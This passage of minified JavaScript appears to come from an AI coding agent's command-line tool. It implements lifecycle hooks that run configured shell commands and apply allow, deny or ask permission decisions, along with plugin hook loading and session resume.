0)X.hookPermissionDecisionReason=A.reason;if(A.hookSpecificOutput){if(w&&A.hookSpecificOutput.hookEventName!==w)throw Error(`Hook returned incorrect event name: expected '${w}' but got '${A.hookSpecificOutput.hookEventName}'. Full stdout: ${UA(A,null,2)}`);switch(A.hookSpecificOutput.hookEventName){case"PreToolUse":if(A.hookSpecificOutput.permissionDecision)switch(A.hookSpecificOutput.permissionDecision){case"allow":X.permissionBehavior="allow";break;case"deny":X.permissionBehavior="deny",X.blockingError={blockingError:A.hookSpecificOutput.permissionDecisionReason||A.reason||"Blocked by hook",command:K};break;case"ask":X.permissionBehavior="ask";break}if(X.hookPermissionDecisionReason=A.hookSpecificOutput.permissionDecisionReason,A.hookSpecificOutput.updatedInput)X.updatedInput=A.hookSpecificOutput.updatedInput;X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"UserPromptSubmit":X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"SessionStart":X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"Setup":X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"SubagentStart":X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"PostToolUse":if(X.additionalContext=A.hookSpecificOutput.additionalContext,A.hookSpecificOutput.updatedMCPToolOutput)X.updatedMCPToolOutput=A.hookSpecificOutput.updatedMCPToolOutput;break;case"PostToolUseFailure":X.additionalContext=A.hookSpecificOutput.additionalContext;break;case"PermissionRequest":if(A.hookSpecificOutput.decision){if(X.permissionRequestResult=A.hookSpecificOutput.decision,X.permissionBehavior=A.hookSpecificOutput.decision.behavior==="allow"?"allow":"deny",A.hookSpecificOutput.decision.behavior==="allow"&&A.hookSpecificOutput.decision.updatedInput)X.updatedInput=A.hookSpecificOutput.decision.updatedInput}break}}return{...X,message:X.blockingError?PK({type:"hook_blocking_error",hookName:q,toolUseID:Y,hookEvent:z,blockingError:X.blockingError}):PK({type:"hook_success",hookName:q,toolUseID:Y,hookEvent:z,content:"Success",stdout:H,stderr:J,exitCode:O})}}async function af1(A,K,q,Y,z,w,H,J,O,X){let $=V8(),_=A.command;if(J)_=_.replace(/\$\{CLAUDE_PLUGIN_ROOT\}/g,J);if(o6()==="windows"&&_.trim().match(/\.sh(\s|$|")/)){if(!_.trim().startsWith("bash "))_=`bash ${_}`}let G=process.env.CLAUDE_CODE_SHELL_PREFIX?S_1(process.env.CLAUDE_CODE_SHELL_PREFIX,_):_,Z=A.timeout?A.timeout*1000:GP,W={...process.env,CLAUDE_PROJECT_DIR:$};if(J)W.CLAUDE_PLUGIN_ROOT=J;if(O)W.CLAUDE_PLUGIN_ROOT=O;if((K==="SessionStart"||K==="Setup")&&H!==void 0)W.CLAUDE_ENV_FILE=PM7(K,H);let D=SC2(G,[],{env:W,cwd:x1(),shell:!0}),j=I_1(D,z,Z),M=!1,P=!1;if(A.async&&!X){let d=`async_hook_${D.pid}`;if(h(`Hooks: Config-based async hook, backgrounding process ${d}`),D.stdin.write(Y,"utf8"),D.stdin.end(),P=!0,dHK({processId:d,hookId:w,shellCommand:j,asyncResponse:{async:!0,asyncTimeout:Z},hookEvent:K,hookName:q,command:A.command}))return{stdout:"",stderr:"",output:"",status:0,backgrounded:!0}}let f="",N="",T="";D.stdout.setEncoding("utf8"),D.stderr.setEncoding("utf8");let C=!1,R=null,x=new Promise((d)=>{R=d});D.stdout.on("data",(d)=>{if(f+=d,T+=d,!C&&f.trim().includes("}")){C=!0,h(`Hooks: Checking initial response for async: ${f.trim()}`);try{let r=G6(f.trim());if(h(`Hooks: Parsed initial response: ${UA(r)}`),sqA(r)&&!X){let c=`async_hook_${D.pid}`;if(h(`Hooks: Detected async hook, backgrounding process ${c}`),dHK({processId:c,hookId:w,shellCommand:j,asyncResponse:r,hookEvent:K,hookName:q,command:A.command}))M=!0,R?.({stdout:f,stderr:N,output:T,status:0})}else if(sqA(r)&&X)h("Hooks: Detected async hook but forceSyncExecution is true, waiting for completion");else h("Hooks: Initial response is not async, continuing normal processing")}catch(r){h(`Hooks: Failed to parse initial response as JSON: ${r}`)}}}),D.stderr.on("data",(d)=>{N+=d,T+=d});let y=wG1({hookId:w,hookName:q,hookEvent:K,getOutput:()=>({stdout:f,stderr:N,output:T})}),B=new Promise((d)=>{D.stdout.on("end",()=>d())}),b=new Promise((d)=>{D.stderr.on("end",()=>d())}),F=P?Promise.resolve():new Promise((d,r)=>{D.stdin.on("error",r),D.stdin.write(Y,"utf8"),D.stdin.end(),d()}),Q=new Promise((d,r)=>{D.on("error",r)}),u=new Promise((d)=>{let r=null;D.on("close",(c)=>{r=c??1,Promise.all([B,b]).then(()=>{d({stdout:f,stderr:N,output:T,status:r,aborted:z.aborted})})})});try{return await Promise.race([F,Q]),await Promise.race([x,u,Q])}catch(d){let r=d;if(r.code==="EPIPE"){h("EPIPE error while writing to hook stdin (hook command likely closed early)");let c="Hook command closed stdin before hook input was fully written (EPIPE)";return{stdout:"",stderr:c,output:c,status:1}}else if(r.code==="ABORT_ERR")return{stdout:"",stderr:"Hook cancelled",output:"Hook cancelled",status:1,aborted:!0};else{let YA=`Error occurred while executing hook command: ${d instanceof Error?d.message:String(d)}`;return{stdout:"",stderr:YA,output:YA,status:1}}}finally{if(y(),!M)j.cleanup()}}function hC2(A,K){if(!K||K==="*")return!0;if(/^[a-zA-Z0-9_|]+$/.test(K)){if(K.includes("|"))return K.split("|").map((Y)=>Y.trim()).includes(A);return A===K}try{return new RegExp(K).test(A)}catch{return h(`Invalid regex pattern in hook matcher: ${K}`),!1}}function bC2(A,K){let q={},Y=lM7();if(Y)for(let[H,J]of Object.entries(Y))q[H]=J.map((O)=>({matcher:O.matcher,hooks:O.hooks}));let z=Ip(),w=FnA();if(w)for(let[H,J]of Object.entries(w)){if(!q[H])q[H]=[];for(let O of J){if(z&&"pluginRoot"in O)continue;q[H].push(O)}}if(!z&&A!==void 0){let H=i_1(A,K);for(let[O,X]of H.entries()){if(!q[O])q[O]=[];for(let $ of X)q[O].push($)}let J=BM7(A,K);for(let[O,X]of J.entries()){if(!q[O])q[O]=[];for(let $ of X)q[O].push({matcher:$.matcher,hooks:$.hooks})}}return q}function Fx6(A,K,q,Y){try{let w=bC2(A,K)?.[q]??[],H=void 0;switch(Y.hook_event_name){case"PreToolUse":case"PostToolUse":case"PostToolUseFailure":case"PermissionRequest":H=Y.tool_name;break;case"SessionStart":H=Y.source;break;case"Setup":H=Y.trigger;break;case"PreCompact":H=Y.trigger;break;case"Notification":H=Y.notification_type;break;case"SessionEnd":H=Y.reason;break;case"SubagentStart":H=Y.agent_type;break;default:break}h(`Getting matching hook commands for ${q} with query: ${H}`),h(`Found ${w.length} hook matchers in settings`);let O=(H?w.filter((D)=>!D.matcher||hC2(H,D.matcher)):w).flatMap((D)=>{let j="pluginRoot"in D?D.pluginRoot:void 0,M="skillRoot"in D?D.skillRoot:void 0;return D.hooks.map((P)=>({hook:P,pluginRoot:j,skillRoot:M}))}),X=Array.from(new Map(O.filter((D)=>D.hook.type==="command").map((D)=>[D.hook.command,D])).values()),$=Array.from(new Map(O.filter((D)=>D.hook.type==="prompt").map((D)=>[D.hook.prompt,D])).values()),_=Array.from(new Map(O.filter((D)=>D.hook.type==="agent").map((D)=>[D.hook.prompt([]),D])).values()),G=O.filter((D)=>D.hook.type==="callback"),Z=O.filter((D)=>D.hook.type==="function"),W=[...X,...$,..._,...G,...Z];return h(`Matched ${W.length} unique hooks for query "${H||"no match query"}" (${O.length} before deduplication)`),W}catch{return[]}}function $x6(A,K){return`${A} hook error: ${K.blockingError}`}function Bx6(A){return`Stop hook feedback: ${A.blockingError}`}function Qx6(A){return`UserPromptSubmit operation blocked by hook: ${A.blockingError}`}async function*Fd({hookInput:A,toolUseID:K,matchQuery:q,signal:Y,timeoutMs:z=GP,toolUseContext:w,messages:H,forceSyncExecution:J}){if(J8().disableAllHooks)return;let O=A.hook_event_name,X=q?`${O}:${q}`:O;if(lHK()){h(`Skipping ${X} hook execution - workspace trust not accepted`);return}let $=w?await w.getAppState():void 0,_=w?.agentId??d1(),G=Fx6($,_,O,A);if(G.length===0)return;if(Y?.aborted)return;n("tengu_run_hook",{hookName:X,numCommands:G.length});let Z=V$()?cHK(G):[];if(V$())uG("hook_execution_start",{hook_event:O,hook_name:X,num_hooks:String(G.length),managed_only:String(Ip()),hook_definitions:UA(Z),hook_source:Ip()?"policySettings":"merged"});let W=PP7(O,X,G.length,UA(Z));for(let{hook:P}of G)yield{message:{type:"progress",data:{type:"hook_progress",hookEvent:O,hookName:X,command:tM(P),promptText:P.type==="prompt"?P.prompt:void 0,statusMessage:"statusMessage"in P?P.statusMessage:void 0},parentToolUseID:K,toolUseID:K,timestamp:new Date().toISOString(),uuid:oS()}};let D=G.map(async function*({hook:P,pluginRoot:f,skillRoot:N},T){if(P.type==="callback"){let B=P.timeout?P.timeout*1000:z,{signal:b,cleanup:F}=rC(AbortSignal.timeout(B),Y);yield uC2({toolUseID:K,hook:P,hookEvent:O,hookInput:A,signal:b,hookIndex:T,toolUseContext:w}).finally(F);return}if(P.type==="function"){if(!H){yield{message:PK({type:"hook_error_during_execution",hookName:X,toolUseID:K,hookEvent:O,content:"Messages not provided for function hook"}),outcome:"non_blocking_error",hook:P};return}yield xC2({hook:P,messages:H,hookName:X,toolUseID:K,hookEvent:O,timeoutMs:z,signal:Y});return}let C=P.timeout?P.timeout*1000:z,{signal:R,cleanup:x}=rC(AbortSignal.timeout(C),Y),y=oS();try{let B;try{B=UA(A)}catch(d){KA(Error(`Failed to stringify hook ${X} input`,{cause:d})),yield{message:PK({type:"hook_error_during_execution",hookName:X,toolUseID:K,hookEvent:O,content:`Failed to prepare hook input: ${d instanceof Error?d.message:String(d)}`}),outcome:"non_blocking_error",hook:P};return}if(P.type==="prompt"){if(!w)throw Error("ToolUseContext is required for prompt hooks. This is a bug.");yield await bP7(P,X,O,B,R,w,H,K),x?.();return}if(P.type==="agent"){if(!w)throw Error("ToolUseContext is required for agent hooks. This is a bug.");if(!H)throw Error("Messages are required for agent hooks. This is a bug.");yield await UHK(P,X,O,B,R,w,K,H),x?.();return}vP7(y,X,O);let b=await af1(P,O,X,B,R,y,T,f,N,J);if(x?.(),b.backgrounded){yield{outcome:"success",hook:P};return}if(b.aborted){nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:"cancelled"}),yield{message:PK({type:"hook_cancelled",hookName:X,toolUseID:K,hookEvent:O}),outcome:"cancelled",hook:P};return}let{json:F,plainText:Q,validationError:u}=iHK(b.stdout);if(u){nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:`JSON validation failed: ${u}`,exitCode:1,outcome:"error"}),yield{message:PK({type:"hook_non_blocking_error",hookName:X,toolUseID:K,hookEvent:O,stderr:`JSON validation failed: ${u}`,stdout:b.stdout,exitCode:1}),outcome:"non_blocking_error",hook:P};return}if(F){if(sqA(F)){yield{outcome:"success",hook:P};return}let d=nHK({json:F,command:P.type==="command"?P.command:"prompt",hookName:X,toolUseID:K,hookEvent:O,expectedHookEvent:O,stdout:b.stdout,stderr:b.stderr,exitCode:b.status});if(NP7(F)&&!F.suppressOutput&&Q&&b.status===0){let r=`${O1.bold(X)} completed`;nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:"success"}),yield{...d,message:d.message||PK({type:"hook_success",hookName:X,toolUseID:K,hookEvent:O,content:r,stdout:b.stdout,stderr:b.stderr,exitCode:b.status}),outcome:"success",hook:P};return}nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:b.status===0?"success":"error"}),yield{...d,outcome:"success",hook:P};return}if(b.status===0){nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:"success"}),yield{message:PK({type:"hook_success",hookName:X,toolUseID:K,hookEvent:O,content:b.stdout.trim(),stdout:b.stdout,stderr:b.stderr,exitCode:b.status}),outcome:"success",hook:P};return}if(b.status===2){nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:"error"}),yield{blockingError:{blockingError:`[${P.command}]: ${b.stderr||"No stderr output"}`,command:P.command},outcome:"blocking",hook:P};return}nI({hookId:y,hookName:X,hookEvent:O,output:b.output,stdout:b.stdout,stderr:b.stderr,exitCode:b.status,outcome:"error"}),yield{message:PK({type:"hook_non_blocking_error",hookName:X,toolUseID:K,hookEvent:O,stderr:`Failed with non-blocking status code: ${b.stderr.trim()||"No stderr output"}`,stdout:b.stdout,exitCode:b.status}),outcome:"non_blocking_error",hook:P};return}catch(B){x?.();let b=B instanceof Error?B.message:String(B);nI({hookId:y,hookName:X,hookEvent:O,output:`Failed to run: ${b}`,stdout:"",stderr:`Failed to run: ${b}`,exitCode:1,outcome:"error"}),yield{message:PK({type:"hook_non_blocking_error",hookName:X,toolUseID:K,hookEvent:O,stderr:`Failed to run: ${b}`,stdout:"",exitCode:1}),outcome:"non_blocking_error",hook:P};return}}),j={success:0,blocking:0,non_blocking_error:0,cancelled:0},M;for await(let P of kWA(D)){if(j[P.outcome]++,P.preventContinuation)yield{preventContinuation:!0,stopReason:P.stopReason};if(P.blockingError)yield{blockingError:P.blockingError};if(P.message)yield{message:P.message};if(P.systemMessage)yield{message:PK({type:"hook_system_message",content:P.systemMessage,hookName:X,toolUseID:K,hookEvent:O})};if(P.additionalContext)yield{additionalContexts:[P.additionalContext]};if(P.updatedMCPToolOutput)yield{updatedMCPToolOutput:P.updatedMCPToolOutput};if(P.permissionBehavior)switch(P.permissionBehavior){case"deny":M="deny";break;case"ask":if(M!=="deny")M="ask";break;case"allow":if(!M)M="allow";break;case"passthrough":break}if(M!==void 0)yield{permissionBehavior:M,hookPermissionDecisionReason:P.hookPermissionDecisionReason,updatedInput:P.updatedInput&&(P.permissionBehavior==="allow"||P.permissionBehavior==="ask")?P.updatedInput:void 0};if(P.updatedInput&&P.permissionBehavior===void 0)yield{updatedInput:P.updatedInput};if(P.permissionRequestResult)yield{permissionRequestResult:P.permissionRequestResult};if($&&P.hook.type!=="callback"){let f=d1(),T=mM7($,f,O,q??"",P.hook);if(T?.onHookSuccess&&P.outcome==="success")try{T.onHookSuccess(P.hook,P)}catch(C){KA(Error("Session hook success callback failed",{cause:C}))}}}if(n("tengu_repl_hook_finished",{hookName:X,numCommands:G.length,numSuccess:j.success,numBlocking:j.blocking,numNonBlockingError:j.non_blocking_error,numCancelled:j.cancelled}),V$()){let P=cHK(G);uG("hook_execution_complete",{hook_event:O,hook_name:X,num_hooks:String(G.length),num_success:String(j.success),num_blocking:String(j.blocking),num_non_blocking_error:String(j.non_blocking_error),num_cancelled:String(j.cancelled),managed_only:String(Ip()),hook_definitions:UA(P),hook_source:Ip()?"policySettings":"merged"})}VP7(W,{numSuccess:j.success,numBlocking:j.blocking,numNonBlockingError:j.non_blocking_error,numCancelled:j.cancelled})}async function Ux6({getAppState:A,hookInput:K,matchQuery:q,signal:Y,timeoutMs:z=GP}){let w=K.hook_event_name,H=q?`${w}:${q}`:w;if(J8().disableAllHooks)return h(`Skipping hooks for ${H} due to 'disableAllHooks' setting`),[];if(lHK())return h(`Skipping ${H} hook execution - workspace trust not accepted`),[];let J=A?await A():void 0,O=d1(),X=Fx6(J,O,w,K);if(X.length===0)return[];if(Y?.aborted)return[];n("tengu_run_hook",{hookName:H,numCommands:X.length});let $;try{$=UA(K)}catch(G){return KA(G instanceof Error?G:Error(String(G))),[]}let _=X.map(async({hook:G,pluginRoot:Z},W)=>{if(G.type==="callback"){let P=G.timeout?G.timeout*1000:z,{signal:f,cleanup:N}=rC(AbortSignal.timeout(P),Y);try{let T=oS(),C=await G.callback(K,T,f,W);if(N?.(),sqA(C))return h(`${H} [callback] returned async response, returning empty output`),{command:"callback",succeeded:!0,output:""};let R=C.systemMessage||"";return h(`${H} [callback] completed successfully`),{command:"callback",succeeded:!0,output:R}}catch(T){N?.();let C=T instanceof Error?T.message:String(T);return h(`${H} [callback] failed to run: ${C}`,{level:"error"}),{command:"callback",succeeded:!1,output:C}}}if(G.type==="prompt")return{command:G.prompt,succeeded:!1,output:"Prompt stop hooks are not yet supported outside REPL"};if(G.type==="agent")return{command:G.prompt([]),succeeded:!1,output:"Agent stop hooks are not yet supported outside REPL"};if(G.type==="function")return KA(Error(`Function hook reached executeHooksOutsideREPL for ${w}. Function hooks should only be used in REPL context (Stop hooks).`)),{command:"function",succeeded:!1,output:"Internal error: function hook executed outside REPL context"};let D=G.timeout?G.timeout*1000:z,{signal:j,cleanup:M}=rC(AbortSignal.timeout(D),Y);try{let P=await af1(G,w,H,$,j,oS(),W,Z);if(M?.(),P.aborted)return h(`${H} [${G.command}] cancelled`),{command:G.command,succeeded:!1,output:"Hook cancelled"};h(`${H} [${G.command}] completed with status ${P.status}`);let{json:f,validationError:N}=iHK(P.stdout);if(N)throw Error(N);if(f&&!sqA(f))h(`Parsed JSON output from hook: ${UA(f)}`);let T=P.status===0?P.stdout||"":P.stderr||"";return{command:G.command,succeeded:P.status===0,output:T}}catch(P){M?.();let f=P instanceof Error?P.message:String(P);return h(`${H} [${G.command}] failed to run: ${f}`,{level:"error"}),{command:G.command,succeeded:!1,output:f}}});return await Promise.all(_)}async function*_x6(A,K,q,Y,z,w,H=GP){h(`executePreToolHooks called for tool: ${A}`);let J={...tG(z),hook_event_name:"PreToolUse",tool_name:A,tool_input:q,tool_use_id:K};yield*Fd({hookInput:J,toolUseID:K,matchQuery:A,signal:w,timeoutMs:H,toolUseContext:Y})}async function*Gx6(A,K,q,Y,z,w,H,J=GP){let O={...tG(w),hook_event_name:"PostToolUse",tool_name:A,tool_input:q,tool_response:Y,tool_use_id:K};yield*Fd({hookInput:O,toolUseID:K,matchQuery:A,signal:H,timeoutMs:J,toolUseContext:z})}async function*Zx6(A,K,q,Y,z,w,H,J,O=GP){let X={...tG(H),hook_event_name:"PostToolUseFailure",tool_name:A,tool_input:q,tool_use_id:K,error:Y,is_interrupt:w};yield*Fd({hookInput:X,toolUseID:K,matchQuery:A,signal:J,timeoutMs:O,toolUseContext:z})}async function oR6(A,K=GP){let{message:q,title:Y,notificationType:z}=A,w={...tG(void 0),hook_event_name:"Notification",message:q,title:Y,notification_type:z};await Ux6({hookInput:w,timeoutMs:K,matchQuery:z})}async function*mx6(A,K,q=GP,Y=!1,z,w,H){let J=z?{...tG(A),hook_event_name:"SubagentStop",stop_hook_active:Y,agent_id:z,agent_transcript_path:$B(z)}:{...tG(A),hook_event_name:"Stop",stop_hook_active:Y};yield*Fd({hookInput:J,toolUseID:oS(),signal:K,timeoutMs:q,toolUseContext:w,messages:H})}async function*px6(A,K,q){let Y={...tG(K),hook_event_name:"UserPromptSubmit",prompt:A};yield*Fd({hookInput:Y,toolUseID:oS(),signal:q.abortController.signal,timeoutMs:GP,toolUseContext:q})}async function*dx6(A,K,q,Y,z,w=GP){let H={...tG(void 0,K),hook_event_name:"SessionStart",source:A,agent_type:q,model:Y};yield*Fd({hookInput:H,toolUseID:oS(),matchQuery:A,signal:z,timeoutMs:w})}async function*cx6(A,K,q=GP,Y){let z={...tG(void 0),hook_event_name:"Setup",trigger:A};yield*Fd({hookInput:z,toolUseID:oS(),matchQuery:A,signal:K,timeoutMs:q,forceSyncExecution:Y})}async function*jI6(A,K,q,Y=GP){let z={...tG(void 0),hook_event_name:"SubagentStart",agent_id:A,agent_type:K};yield*Fd({hookInput:z,toolUseID:oS(),matchQuery:K,signal:q,timeoutMs:Y})}async function lx6(A,K,q=GP){let Y={...tG(void 0),hook_event_name:"PreCompact",trigger:A.trigger,custom_instructions:A.customInstructions},z=await Ux6({hookInput:Y,matchQuery:A.trigger,signal:K,timeoutMs:q});if(z.length===0)return{};let w=z.filter((J)=>J.succeeded&&J.output.trim().length>0).map((J)=>J.output.trim()),H=[];for(let J of z)if(J.succeeded)if(J.output.trim())H.push(`PreCompact [${J.command}] completed successfully: ${J.output.trim()}`);else H.push(`PreCompact [${J.command}] completed successfully`);else if(J.output.trim())H.push(`PreCompact [${J.command}] failed: ${J.output.trim()}`);else H.push(`PreCompact [${J.command}] failed`);return{newCustomInstructions:w.length>0?w.join(` `):void 0,userDisplayMessage:H.length>0?H.join(` `):void 0}}async function ix6(A,K){let{getAppState:q,setAppState:Y,signal:z,timeoutMs:w=GP}=K||{},H={...tG(void 0),hook_event_name:"SessionEnd",reason:A},J=await Ux6({getAppState:q,hookInput:H,matchQuery:A,signal:z,timeoutMs:w});for(let O of J)if(!O.succeeded&&O.output)process.stderr.write(`SessionEnd hook [${O.command}] failed: ${O.output} `);if(Y){let O=d1();fWA(Y,O)}}async function*HPA(A,K,q,Y,z,w,H,J=GP){h(`executePermissionRequestHooks called for tool: ${A}`);let O={...tG(z),hook_event_name:"PermissionRequest",tool_name:A,tool_input:q,permission_suggestions:w};yield*Fd({hookInput:O,toolUseID:K,matchQuery:A,signal:H,timeoutMs:J,toolUseContext:Y})}async function nx6(A,K,q=5000){let Y=J8(),z=Y?.statusLine;if(Y?.disableAllHooks===!0)return;if(!z||z.type!=="command")return;let w=K||AbortSignal.timeout(q);try{let H=UA(A),J=await af1(z,"StatusLine","statusLine",H,w,oS());if(J.aborted)return;if(J.status===0){let O=J.stdout.trim().split(` `).flatMap((X)=>X.trim()||[]).join(` `);if(O)return O}return}catch(H){h(`Status hook failed: ${H}`,{level:"error"});return}}async function rx6(A,K,q=5000){let Y=J8();if(Y?.disableAllHooks===!0)return[];let z=Y?.fileSuggestion;if(!z||z.type!=="command")return[];let w=K||AbortSignal.timeout(q);try{let H=UA(A),J={type:"command",command:z.command},O=await af1(J,"FileSuggestion","FileSuggestion",H,w,oS());if(O.aborted||O.status!==0)return[];return O.stdout.split(` `).map((X)=>X.trim()).filter(Boolean)}catch(H){return h(`File suggestion helper failed: ${H}`,{level:"error"}),[]}}async function xC2({hook:A,messages:K,hookName:q,toolUseID:Y,hookEvent:z,timeoutMs:w,signal:H}){let J=A.timeout??w,{signal:O,cleanup:X}=rC(AbortSignal.timeout(J),H);try{if(O.aborted)return X(),{outcome:"cancelled",hook:A};let $=await new Promise((_,G)=>{let Z=()=>G(Error("Function hook cancelled"));O.addEventListener("abort",Z),Promise.resolve(A.callback(K,O)).then((W)=>{O.removeEventListener("abort",Z),_(W)}).catch((W)=>{O.removeEventListener("abort",Z),G(W)})});if(X(),$)return{outcome:"success",hook:A};return{blockingError:{blockingError:A.errorMessage,command:"function"},outcome:"blocking",hook:A}}catch($){if(X(),$ instanceof Error&&($.message==="Function hook cancelled"||$.name==="AbortError"))return{outcome:"cancelled",hook:A};return KA($ instanceof Error?$:Error(String($))),{message:PK({type:"hook_error_during_execution",hookName:q,toolUseID:Y,hookEvent:z,content:$ instanceof Error?$.message:"Function hook execution error"}),outcome:"non_blocking_error",hook:A}}}async function uC2({toolUseID:A,hook:K,hookEvent:q,hookInput:Y,signal:z,hookIndex:w,toolUseContext:H}){let J=H?{getAppState:H.getAppState,setAppState:H.setAppState}:void 0,O=await K.callback(Y,A,z,w,J);if(sqA(O))return{outcome:"success",hook:K};return{...nHK({json:O,command:"callback",hookName:`${q}:Callback`,toolUseID:A,hookEvent:q,expectedHookEvent:q,stdout:void 0,stderr:void 0,exitCode:void 0}),outcome:"success",hook:K}}function cHK(A){return A.map(({hook:K})=>{if(K.type==="command")return{type:"command",command:K.command};else if(K.type==="prompt")return{type:"prompt",prompt:K.prompt};else if(K.type==="function")return{type:"function",name:"function"};else if(K.type==="callback")return{type:"callback",name:"callback"};return{type:"unknown"}})}var GP=600000;var JP=k(()=>{_P6();y4();GP6();h_1();B5();q6();i6();aqA();UK();I8();l1();ea();Ys();uP6();u5();GB();Z1();C1();jmA();JG1();HG1();sD();zs();xP7();pHK();yp();b1()});function BC2(A){let K={PreToolUse:[],PostToolUse:[],PostToolUseFailure:[],Notification:[],UserPromptSubmit:[],SessionStart:[],SessionEnd:[],Stop:[],SubagentStart:[],SubagentStop:[],PreCompact:[],PermissionRequest:[],Setup:[]};if(!A.hooksConfig)return K;for(let[q,Y]of Object.entries(A.hooksConfig)){let z=q;if(!K[z])continue;for(let w of Y)if(w.hooks.length>0)K[z].push({matcher:w.matcher,hooks:w.hooks,pluginRoot:A.path,pluginName:A.name})}return K}function ox6(){Qd.cache?.clear?.(),ur6()}function aHK(){if(oHK)return;oHK=!0,a_.subscribe((A)=>{if(A==="policySettings")h("Plugin hooks: reloading due to policySettings change"),aS(),ox6(),Qd()})}var oHK=!1,Qd;var wpA=k(()=>{p7();s0();Z1();q6();ci();Qd=z6(async()=>{let{enabled:A}=await SY(),K={PreToolUse:[],PostToolUse:[],PostToolUseFailure:[],Notification:[],UserPromptSubmit:[],SessionStart:[],SessionEnd:[],Stop:[],SubagentStart:[],SubagentStop:[],PreCompact:[],PermissionRequest:[],Setup:[]};for(let Y of A){if(!Y.hooksConfig)continue;h(`Loading hooks from plugin: ${Y.name}`);let z=BC2(Y);for(let w of Object.keys(z))K[w].push(...z[w])}ZzA(K);let q=Object.values(K).reduce((Y,z)=>Y+z.reduce((w,H)=>w+H.hooks.length,0),0);h(`Registered ${q} hooks from ${A.length} plugins`)})});async function fj(A,K,q,Y){let z=[],w=[];if(Ip())h("Skipping plugin hooks - allowManagedHooksOnly is enabled");else try{await Qd()}catch(J){let O=J instanceof Error?Error(`Failed to load plugin hooks during ${A}: ${J.message}`):Error(`Failed to load plugin hooks during ${A}: ${String(J)}`);if(J instanceof Error&&J.stack)O.stack=J.stack;KA(O);let X=J instanceof Error?J.message:String(J),$="";if(X.includes("Failed to clone")||X.includes("network")||X.includes("ETIMEDOUT")||X.includes("ENOTFOUND"))$="This appears to be a network issue. Check your internet connection and try again.";else if(X.includes("Permission denied")||X.includes("EACCES")||X.includes("EPERM"))$="This appears to be a permissions issue. Check file permissions on ~/.claude/plugins/";else if(X.includes("Invalid")||X.includes("parse")||X.includes("JSON")||X.includes("schema"))$="This appears to be a configuration issue. Check your plugin settings in .claude/settings.json";else $="Please fix the plugin configuration or remove problematic plugins from your settings.";h(`Warning: Failed to load plugin hooks. SessionStart hooks from plugins will not execute. Error: ${X}. ${$}`,{level:"warn"})}let H=q??pnA();for await(let J of dx6(A,K,H,Y)){if(J.message)z.push(J.message);if(J.additionalContexts&&J.additionalContexts.length>0)w.push(...J.additionalContexts)}if(w.length>0){let J=PK({type:"hook_additional_context",content:w,hookName:"SessionStart",toolUseID:"SessionStart",hookEvent:"SessionStart"});z.push(J)}return z}async function sf1(A,K){let q=[],Y=[];if(Ip())h("Skipping plugin hooks - allowManagedHooksOnly is enabled");else try{await Qd()}catch(z){let w=z instanceof Error?z.message:String(z);h(`Warning: Failed to load plugin hooks. Setup hooks from plugins will not execute. Error: ${w}`,{level:"warn"})}for await(let z of cx6(A,void 0,void 0,K)){if(z.message)q.push(z.message);if(z.additionalContexts&&z.additionalContexts.length>0)Y.push(...z.additionalContexts)}if(Y.length>0){let z=PK({type:"hook_additional_context",content:Y,hookName:"Setup",toolUseID:"Setup",hookEvent:"Setup"});q.push(z)}return q}var Ye=k(()=>{JP();wpA();C1();Z1();sD();aqA();q6()});import{randomUUID as sHK}from"crypto";function mC2(A){if(A.type!=="attachment")return A;let K=A.attachment;if(K.type==="new_file")return{...A,attachment:{...K,type:"file"}};if(K.type==="new_directory")return{...A,attachment:{...K,type:"directory"}};return A}function HpA(A){try{let K=A.map(mC2),q=LV1(K),Y=RV1(q);if(Y[Y.length-1]?.type==="user")Y.push(WL({content:aKA}));return Y}catch(K){throw KA(K),K}}function gC2(A){for(let K of A){if(K.type!=="attachment")continue;if(K.attachment.type!=="invoked_skills")continue;for(let q of K.attachment.skills)if(q.name&&q.path&&q.content)UnA(q.name,q.path,q.content)}}async function ze(A,K){try{let q=null,Y=null,z;if(A===void 0)q=await tHK(0);else if(K){Y=[];for(let H of await S1A(K)){if(H.type==="assistant"||H.type==="user"){let J=FC2(H);if(J)Y.push(J)}z=H.session_id}}else if(typeof A==="string")q=await ax6(A),z=A;else q=A;if(!q&&!Y)return null;if(q){if(NL(q))q=await sS(q);if(!z)z=ZH(q);if(jO1(q),z)MO1(q,rD(z));rG1(q),Y=q.messages}gC2(Y),Y=HpA(Y);let w=await fj("resume",z);return Y.push(...w),{messages:Y,fileHistorySnapshots:q?.fileHistorySnapshots,attributionSnapshots:q?.attributionSnapshots,sessionId:z,agentName:q?.agentName,agentColor:q?.agentColor,customTitle:q?.customTitle,tag:q?.tag,fullPath:q?.fullPath}}catch(q){throw KA(q),q}}function FC2(A){if(A.type==="assistant")return{type:A.type,message:A.message,uuid:sHK(),timestamp:new Date().toISOString(),requestId:void 0};else if(A.type==="user")return{type:A.type,message:A.message,uuid:sHK(),timestamp:new Date().toISOString()};return}var JPA=k(()=>{C1();UK();$8();xu();NG();Xw();Ye();AP();q6()});function eHK({onStashAndContinue:A,onCancel:K}){let[q,Y]=Z9A.useState(null),z=q!==null?[...q.tracked,...q.untracked]:[],[w,H]=Z9A.useState(!0),[J,O]=Z9A.useState(!1),[X,$]=Z9A.useState(null);Z9A.useEffect(()=>{(async()=>{try{let D=await hy1();Y(D)}catch(D){let j=D instanceof Error?D.message:String(D);h(`Error getting changed files: ${j}`,{level:"error"}),$("Failed to get changed files")}finally{H(!1)}})()},[]);let _=async()=>{O(!0);try{if(h("Stashing changes before teleport..."),await Nt6("Teleport auto-stash"))h("Successfully stashed changes"),A();else $("Failed to stash changes")}catch(W){let D=W instanceof Error?W.message:String(W);h(`Error stashing changes: ${D}`,{level:"error"}),$("Failed to stash 